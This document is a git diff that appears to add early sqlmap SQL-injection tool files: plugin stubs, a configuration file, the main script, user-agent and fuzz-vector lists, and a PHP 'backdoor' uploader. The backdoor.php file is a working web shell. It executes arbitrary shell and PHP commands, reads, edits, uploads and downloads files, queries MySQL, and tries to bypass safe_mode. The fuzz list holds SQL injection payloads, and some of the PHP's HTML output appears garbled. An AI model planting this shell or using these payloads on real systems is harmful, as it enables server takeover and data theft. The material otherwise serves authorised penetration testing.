b/plugins/generic/fingerprint.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +$Id: fingerprint.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.exception import sqlmapUndefinedMethod + + +class Fingerprint: + """ + This class defines generic fingerprint functionalities for plugins. + """ + + @staticmethod + def unescape(expression): + errMsg = "'unescape' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + + @staticmethod + def escape(expression): + errMsg = "'escape' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + + def getFingerprint(self): + errMsg = "'getFingerprint' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg + + + def checkDbms(self): + errMsg = "'checkDbms' method must be defined " + errMsg += "into the specific DBMS plugin" + raise sqlmapUndefinedMethod, errMsg diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py new file mode 100644 index 000000000..f6982d92d --- /dev/null +++ b/plugins/generic/takeover.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +$Id: takeover.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.exception import sqlmapUnsupportedFeatureException + + +class Takeover: + """ + This class defines generic OS takeover functionalities for plugins. + """ + + def osShell(self): + errMsg = "this plugin does not support OS shell functionality yet" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/shell/backdoor.php b/shell/backdoor.php new file mode 100644 index 000000000..07ecc696c --- /dev/null +++ b/shell/backdoor.php @@ -0,0 +1,304 @@ +<?php +@set_time_limit(); +@error_reporting(0); +@ob_implicit_flush(); +$phpself=$_SERVER["PHP_SELF"]; +$css="body { background: #FFCC66; font-family: sans-serif; margin: auto; margin-bottom: 1em; margin-top: 1em; width: 95%; } a { color: #663300; text-decoration: none; } input, textarea { border: 1px solid gray; } pre { border: 1px dashed #663300; padding: 5px; background: #fffff0; } table { border-collapse: collapse; border: 1px solid #663300; background: #fffff0; width: 100%; } td, th { border: 1px solid #663300; padding: .3em; } thead th, tfoot th { border: 1px solid #663300; text-align: center; font-size: 1em; font-weight: bold; color: #663300; background: #FFCC66; } #maintitle { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .3em; text-align: center; } #leftbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .5em; width: 22%; float: left; position: relative; } #rightbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: 15px; width: 73%; float: right; position: relative; display:inline; }"; +$cssEncoded=@urlencode($css); + +function error($message) { + $completeMessage="<b>Error</b>: " . $message . "."; + die($completeMessage); +} + +function getSymbolByQuantity($bytes) { + $symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'); + $exp=@floor(log($bytes)/log(1024)); + + return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp)))); +} + +function ex($command) { + $res=''; + if (@function_exists('exec')) { + @exec($command, $res); + $res=@join("\n", $res); + } + elseif (@function_exists('shell_exec')) { + $res=@shell_exec($command); + } + elseif(@function_exists('system')) { + @ob_start(); + @system($command); + $res=@ob_get_contents(); + @ob_end_clean(); + } + elseif (@function_exists('passthru')) { + @ob_start(); + @passthru($command); + $res=@ob_get_contents(); + @ob_end_clean(); + } + elseif (@is_resource($f=@popen($command, "r"))) { + $res=""; + while(!@feof($f)) { + $res .= @fread($f, 1024); + } + @pclose($f); + } + $res=@htmlspecialchars($res); + return $res; +} + +if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) { + echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">"; + echo "<html><head>"; + echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">"; + echo "<meta name=\"author\" content=\"Bernardo Damele A. G.\">"; + echo "<meta name=\"robots\" content=\"noindex,nofollow,noarchive\">"; + echo "<style type=\"text/css\">" . $css . "</style><title>sqlmap PHP backdoor"; + echo "

sqlmap PHP backdoor


"; + echo "

System information: here
"; + echo "PHP info: here
"; + echo "Send an email: here

"; + echo "
Read a file

"; + echo "
Edit a file

"; + echo "
Download a file
Directory:
File:

"; + echo "
Upload a file

to directory:

"; + echo "
Browse a directory

"; + echo "
Execute a shell command

"; + echo "
Execute a PHP command

"; + echo "
Execute a MySQL query
host:
user:
password:
query:

"; + echo "
"; + echo "\"Valid"; + echo "\"Valid"; + echo "
"; +} + +if (isset($_REQUEST["sysinfo"])) { + if (@strtolower(@substr(@PHP_OS, 0, 3)) == "win") { + $win=1; + } + else { + $win=0; + } + $safeMode=@ini_get("safe_mode"); + $openBaseDir=@ini_get("open_basedir"); + if ($safeMode || $openBaseDir) { + /** + * Exploit CVE: CVE-2006-4625 + * Affected Software: PHP 5.1.6 / 4.4.4 < = x + * Advisory URL: http://securityreason.com/achievement_securityalert/42 + * Try to restore to default value + */ + ini_restore("safe_mode"); + ini_restore("open_basedir"); + } + $magicQuotesGpc=@ini_get("magic_quotes_gpc"); + $dir=@getcwd(); + $total=@disk_total_space($dir); + $free=@disk_free_space($dir); + echo "Operating system
" . @PHP_OS;
+    echo "
Server uname
" . php_uname();
+    echo "
Server uptime
";
+    echo ex("uptime");
+    echo "
Server time
";
+    echo date("D, M d, h:iA");
+    echo "
Disk space
";
+    echo "Total space: " . getSymbolByQuantity($total) . "
"; + echo "Free space: " . getSymbolByQuantity($free); + echo "
Web server username
";
+    echo (!$win) ? `id` . "
" : @get_current_user(); + echo "
PHP version
" . @phpversion();
+    echo "
PHP safe_mode
";
+    echo ($safeMode) ? "ON
" : "OFF
"; + echo "
PHP open_basedir
";
+    echo ($openBaseDir) ? "ON
" : "OFF
"; + echo "
PHP magic_quotes_gpc
";
+    echo ($magicQuotesGpc) ? "ON
" : "OFF
"; + echo "
CPU information
";
+    echo ex("cat /proc/cpuinfo");
+    echo "
Memory information
";
+    echo ex("cat /proc/meminfo");
+    echo "
Open ports and active connections
";
+    echo ex("netstat -nat");
+    echo "
Network devices
";
+    echo ex("/sbin/ifconfig -a");
+    echo "
Processes
";
+    echo ex("ps auxfww");
+    echo "
"; +} + +else if(isset($_REQUEST["phpinfo"])) { + echo @phpinfo(); +} + +else if (isset($_REQUEST["readFile"])) { + $file=$_REQUEST["readFile"]; + $fileHandler=@fopen($file, "rb") or error("Unable to read file " . $file . ""); + $fileContent=@file_get_contents($file); + echo "

File: " . $file . "

"; + echo "

" . @htmlspecialchars($fileContent) . "
"; +} + +else if(isset($_REQUEST["editFile"])) { + $file=$_REQUEST["editFile"]; + if (!$file) { + error("Specify the file to edit"); + } + $fileHandler=@fopen($file, "rb") or error("Unable to read file " . $file . ""); + $fileContent=@file_get_contents($file); + echo "
"; + echo "File:

"; + echo "
"; +} + +else if (isset($_REQUEST["saveFile"])) { + $file=$_REQUEST["saveFile"]; + $newContent=$_REQUEST["contentFile"]; + if (@is_writable($file)) { + $fileHandler=@fopen($file, "w+") or error("Unable to read file " . $file . ""); + @fwrite($fileHandler, $newContent) or error("Unable to write on file " . $file . ""); + echo "File " . $file . " successfully written"; + @fclose($fileHandler); + } + else { + error("File " . $file . " is not writable"); + } +} + +else if (isset($_REQUEST["download"])) { + ob_clean(); + $dir=$_REQUEST["dir"]; + $file=$_REQUEST["download"]; + $filename=$dir. "/" . $file; + $fileHandler=@fopen($filename, "rb") or error("Unable to read file " . $file . ""); + $fileContent=@file_get_contents($filename); + header("Content-type: application/octet-stream"); + header("Content-length: " . strlen($fileContent)); + header("Content-disposition: attachment; filename=" . $file . ";"); + echo $fileContent; + exit; +} + +else if (isset($_REQUEST["upload"])) { + if (!isset($_REQUEST["uploadDir"])) { + error("Specify directory name (ig: /tmp)"); + } + $dir=$_REQUEST["uploadDir"]; + $file=$HTTP_POST_FILES["file"]["name"]; + @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or error("File upload error"); + @chmod($dir . "/" . $file, 0755) or error("Unable to set file permission on " . $file . ""); + echo "

File " . $file . " successfully uploaded to " . $dir . "

"; +} + +else if (isset($_REQUEST["listDir"])) { + $dirToOpen=$_REQUEST["listDir"]; + $dirHandler=@opendir($dirToOpen) or error("Unable to open directory"); + echo "

Directory: " . $dirToOpen . "

"; + echo ""; + $list=array(); + while ($o=@readdir($dirHandler)) { + $list[]=$o; + } + @closedir($dirHandler); + @sort($list); + foreach ($list as $file) { + if ($file == ".") { + continue; + } + $linkToFile=$dirToOpen . "/" . $file; + $isdir=@is_dir($linkToFile); + $islink=@is_link($linkToFile); + $isfile=@is_file($linkToFile); + echo ""; + if ($isdir) { + echo ""; + echo ""; + $owner=@posix_getpwuid(@fileowner($linkToFile)); + $group=@posix_getgrgid(@filegroup($linkToFile)); + echo ""; + if ($isdir) { + echo ""; + } + else if ($islink) { + echo ""; + } + else if ($isfile) { + echo ""; + } + else { + echo ""; + } + echo (@is_readable($linkToFile) && $isfile) ? "" : ""; + echo (@is_writable($linkToFile) && $isfile) ? "" : ""; + echo (@is_readable($linkToFile) && $isfile) ? "" : ""; + echo ""; + } +} + +else if (isset($_REQUEST["mailForm"])) { + echo ""; + echo ""; + echo "To:

"; + echo "Subject:

"; + echo "Body:

"; + echo ""; +} + +else if (isset($_REQUEST["mail"])) { + $status=@mail($_REQUEST["to"], $_REQUEST["subject"], $_REQUEST["msg"]); + echo $status ? "Mail sent" : "Failed to send mail"; + @exit; +} + +else if (isset($_REQUEST["cmd"])) { + $cmd=$_REQUEST["cmd"]; + echo "

Shell command: " . $cmd . "

"; + echo "
" . ex($cmd) . "
"; +} + +else if(isset($_REQUEST["phpcode"])) { + $code=$_REQUEST["phpcode"]; + echo "

PHP command: " . $code . "

"; + echo "
";
+    echo @eval("print_r($code);");
+    echo "
"; +} + +else if (isset($_REQUEST["query"])) { + $host=$_REQUEST["host"]; + $user=$_REQUEST["user"]; + $password=$_REQUEST["password"]; + $query=$_REQUEST["query"]; + $link=@mysql_connect("$host", "$user", "$password"); + if (!$link) { + error(@mysql_error()); + } + $result=@mysql_query($query); + if (!$result) { + error(@mysql_error()); + } + echo "

MySQL query: " . $query . "

"; + echo "
";
+    while ($row=@mysql_fetch_array($result, MYSQL_ASSOC)) {
+        @print_r($row);
+    }
+    echo "
"; + @mysql_free_result($result); +} + +if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) { + echo ""; +} +?> diff --git a/shell/uploader.php b/shell/uploader.php new file mode 100644 index 000000000..2f2efc343 --- /dev/null +++ b/shell/uploader.php @@ -0,0 +1,12 @@ +sqlmap backdoor uploader

to directory: "; +} +?> diff --git a/sqlmap.conf b/sqlmap.conf new file mode 100644 index 000000000..c72d48811 --- /dev/null +++ b/sqlmap.conf @@ -0,0 +1,236 @@ +[Request] + +# Target URL. +# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_brackets.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par2.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par3.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_dstr_like_par.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_dstr_like_par2.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_int_str.php?id=1&name=luther + +# Rather than providing a target url, let Google return target +# hosts as result of your Google dork expression. For a list of Google +# dorks see Johnny Long Google Hacking Database at +# http://johnny.ihackstuff.com/ghdb.php. +# Example: +ext:php +inurl:"&id=" +intext:"powered by " +googleDork = + +# Testable parameter(s) comma separated. By default all GET/POST/Cookie +# parameters and HTTP User-Agent are tested by sqlmap. +testParameter = + +# HTTP method to perform HTTP requests. +# Valid: GET or POST +# Default: GET +method = GET + +# Data string to be sent through POST. It is mandatory only when +# HTTP method is set to POST. +data = + +# HTTP Cookie header. +cookie = + +# HTTP Referer header. Useful to fake the HTTP Referer header value at +# each HTTP request. +referer = + +# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value +# at each HTTP request +# sqlmap will also test for SQL injection on the HTTP User-Agent value. +agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net) + +# Load a random HTTP User-Agent header from file +# Example: txt/user-agents.txt +userAgentsFile = + +# HTTP Authentication type. Useful only if the target url requires +# HTTP Basic or Digest authentication and you have such data. +# Valid: Basic or Digest +aType = + +# HTTP Authentication credentials. Useful only if the target url requires +# HTTP Basic or Digest authentication and you have such data. +# Syntax: username:password +aCred = + +# Use a HTTP proxy to connect to the target url. +# Syntax: http://url:port +proxy = + +# Maximum number of concurrent HTTP requests (handled with Python threads) +# to be used in the inference SQL injection attack. +# Default: 1 +threads = 1 + + +[Injection] + +# String to match in page when the query is valid, only needed if the +# page content dynamically changes at each refresh, consequently changing +# the MD5 of the page which is the method used by default to determine +# if a query was valid or not. Read the documentation for further +# details. +string = + +# Force back-end DBMS to this value. If this option is set, the back-end +# DBMS identification process will be minimized as needed. +# If not set, sqlmap will detect back-end DBMS automatically by default. +# Valid: mssql, mysql, oracle, pgsql +dbms = + + +[Fingerprint] + +# Perform an extensive back-end database management system fingerprint +# based on various techniques. +# Valid: True or False +extensiveFp = False + + +[Enumeration] + +# Retrieve back-end database management system banner. +# Valid: True or False +getBanner = False + +# Retrieve back-end database management system current user. +# Valid: True or False +getCurrentUser = False + +# Retrieve back-end database management system current database. +# Valid: True or False +getCurrentDb = False + +# Enumerate back-end database management system users. +# Valid: True or False +getUsers = False + +# Enumerate back-end database management system users password hashes. +# Valid: True or False +getPasswordHashes = False + +# Enumerate back-end database management system users privileges. +# Valid: True or False +getPrivileges = False + +# Enumerate back-end database management system databases. +# Valid: True or False +getDbs = False + +# Enumerate back-end database management system database tables. +# Optional: db +# Valid: True or False +getTables = False + +# Enumerate back-end database management system database table columns. +# Requires: db and tbl +# Valid: True or False +getColumns = False + +# Dump back-end database management system database table entries. +# Requires: db and tbl +# Optional: col +# Valid: True or False +dumpTable = False + +# Dump all back-end database management system databases tables entries. +# Valid: True or False +dumpAll = False + +# Back-end database management system database to enumerate. +db = + +# Back-end database management system database table to enumerate. +tbl = + +# Back-end database management system database table column to enumerate. +col = + +# Back-end database management system database user to enumerate. +user = + +# Exclude DBMS system databases when enumerating tables. +# Valid: True or False +excludeSysDbs = False + +# First table entry to dump (cursor start) +# Valid: number +# Default: 1 (sqlmap will start to dump the table entries from the first) +limitStart = 1 + +# Last table entry to dump (cursor stop) +# Valid: number +# Default: 1 (sqlmap will detect the number of table entries and dump +# until the last) +limitStop = 1 + +# SQL SELECT query to be executed. +# Example: SELECT 'foo', 'bar' +query = + +# Prompt for an interactive SQL shell. +# Valid: True or False +sqlShell = False + + +[File system] + +# Read a specific OS file content (only on MySQL). +# Examples: '/etc/passwd' or 'C:\boot.ini' +rFile = + +# Write to a specific OS file (not yet available). +# Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt +wFile = + + +[Takeover] + +# Prompt for an interactive OS shell (only on PHP/MySQL environment with a +# writable directory within the web server document root for the moment). +# Valid: True or False +osShell = False + + +[Miscellaneous] + +# Test for UNION SELECT (inband) SQL injection. +# Valid: True or False +unionTest = False + +# Use the UNION SELECT (inband) SQL injection to retrieve the queries +# output. No need to go blind. +# Valid: True or False +unionUse = False + +# Retrieve each query output length and calculate the estimated time of +# arrival in real time. +# Valid: True or False +eta = False + +# Verbosity level. +# Valid values: +# 0: Silent +# 1: Show info messages +# 2: Show also debug messages +# 3: Show also HTTP requests +# 4: Show also HTTP responses headers +# 5: Show also HTTP responses page content +# Default: 0 +verbose = 0 + +# Update sqlmap to the latest stable version. +# Valid: True or False +updateAll = False + +# Save and resume all data retrieved on a session file. +sessionFile = + +# Never ask for user input, use the default behaviour. +# Valid: True or False +batch = False diff --git a/sqlmap.py b/sqlmap.py new file mode 100755 index 000000000..3ac1eb350 --- /dev/null +++ b/sqlmap.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +$Id: sqlmap.py 315 2008-08-03 22:10:27Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. + and Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os +import sys +import time +import traceback + +from lib.controller.controller import start +from lib.core.common import banner +from lib.core.common import setPaths +from lib.core.common import weAreFrozen +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import exceptionsTuple +from lib.core.exception import unhandledException +from lib.core.option import init +from lib.parse.cmdline import cmdLineParser + + +def modulePath(): + """ + This will get us the program's directory, even if we are frozen + using py2exe + """ + + if weAreFrozen(): + return os.path.dirname(unicode(sys.executable, sys.getfilesystemencoding())) + else: + return os.path.dirname(os.path.realpath(__file__)) + + +def main(): + """ + Main function of sqlmap when running from command line. + """ + + paths.SQLMAP_ROOT_PATH = modulePath() + setPaths() + + banner() + cmdLineOptions = cmdLineParser() + + print "[*] starting at: %s\n" % time.strftime("%X") + + try: + init(cmdLineOptions) + + if conf.start: + start() + except exceptionsTuple, e: + logger.error(e) + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + except: + errMsg = unhandledException() + logger.error(errMsg) + traceback.print_exc() + + print "\n[*] shutting down at: %s\n" % time.strftime("%X") + + +if __name__ == "__main__": + main() diff --git a/txt/fuzz_vectors.txt b/txt/fuzz_vectors.txt new file mode 100644 index 000000000..428e2ef9a --- /dev/null +++ b/txt/fuzz_vectors.txt @@ -0,0 +1,51 @@ +'||(elt(-3+5,bin(15),ord(10),hex(char(45)))) +||6 +'||'6 +(||6) +' OR 1=1-- +OR 1=1 +' OR '1'='1 +; OR '1'='1' +%22+or+isnull%281%2F0%29+%2F* +%27+OR+%277659%27%3D%277659 +%22+or+isnull%281%2F0%29+%2F* +%27+--+ +' or 1=1-- +" or 1=1-- +' or 1=1 /* +or 1=1-- +' or 'a'='a +" or "a"="a +') or ('a'='a +Admin' OR ' +'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES-- +) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES; +' having 1=1-- +' having 1=1-- +' group by userid having 1=1-- +' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')-- +' or 1 in (select @@version)-- +' union all select @@version-- +' OR 'unusual' = 'unusual' +' OR 'something' = 'some'+'thing' +' OR 'text' = N'text' +' OR 'something' like 'some%' +' OR 2 > 1 +' OR 'text' > 't' +' OR 'whatever' in ('whatever') +' OR 2 BETWEEN 1 and 3 +' or username like char(37); +' union select * from users where login = char(114,111,111,116); +' union select +Password:*/=1-- +UNI/**/ON SEL/**/ECT +'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' +'; EXEC ('SEL' + 'ECT US' + 'ER') +'/**/OR/**/1/**/=/**/1 +' or 1/* ++or+isnull%281%2F0%29+%2F* +%27+OR+%277659%27%3D%277659 +%22+or+isnull%281%2F0%29+%2F* +%27+--+&password= +'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > + @var select @var as var into temp end -- diff --git a/txt/user-agents.txt b/txt/user-agents.txt new file mode 100644 index 000000000..798a8ca1d --- /dev/null +++ b/txt/user-agents.txt @@ -0,0 +1,166 @@ +Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com) +Baiduspider ( http://www.baidu.com/search/spider.htm) +curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2 +GameSpyHTTP/1.0 +Gigabot/2.0 +Googlebot-Image/1.0 +Googlebot/2.1 (+http://www.google.com/bot.html) +Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0 +Links (0.99pre14; CYGWIN_NT-5.0 1.5.16(0.128/4/2) i686; 80x25) +Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24) +Links (2.1pre19; Linux 2.6.14-gentoo-r5 i686; x) +Lynx/2.8.4rel.1 libwww-FM/2.14 +Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8a +Microsoft Internet Explorer/4.0b1 (Windows 95) +Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE) +Mozilla/1.22 (compatible; MSIE 1.5; Windows NT) +Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) +Mozilla/2.0 (compatible; Ask Jeeves/Teoma) +Mozilla/2.0 (compatible; MSIE 3.01; Windows 98) +Mozilla/3.0 (OS/2; U) +Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) +Mozilla/3.0 (X11; I; SunOS 5.4 sun4m) +Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-2.3) +Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) +Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220) +Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 240x320) +Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) +Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 6.0 [en] +Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11) +Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en] +Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC) +Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) +Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) +Mozilla/4.0 (compatible; MSIE 6.0; ; Linux armv5tejl; U) Opera 8.02 [en_US] Maemo browser 0.4.31 N770/SU-18 +Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;) +Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;) +Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;) +Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) +Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [en] +Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [ja] +Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es] +Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile m.n) where +Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Motorola VIP12xx) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Netscape/8.0.1 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Arcor 5.005; .NET CLR 1.0.3705; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 7.0b; Win32) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) +Mozilla/4.61 (Macintosh; I; PPC) +Mozilla/4.61 [en] (OS/2; U) +Mozilla/4.7 (compatible; OffByOne; Windows 2000) +Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1) +Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) +Mozilla/4.8 [en] (Windows NT 5.0; U) +Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html) +Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515) +Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR) +Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-1.2054_FC5; X11; i686; en_US) KHTML/3.5.4 (like Gecko) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-2-k7) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2bpo2) +Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian) +Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp) +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.51 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 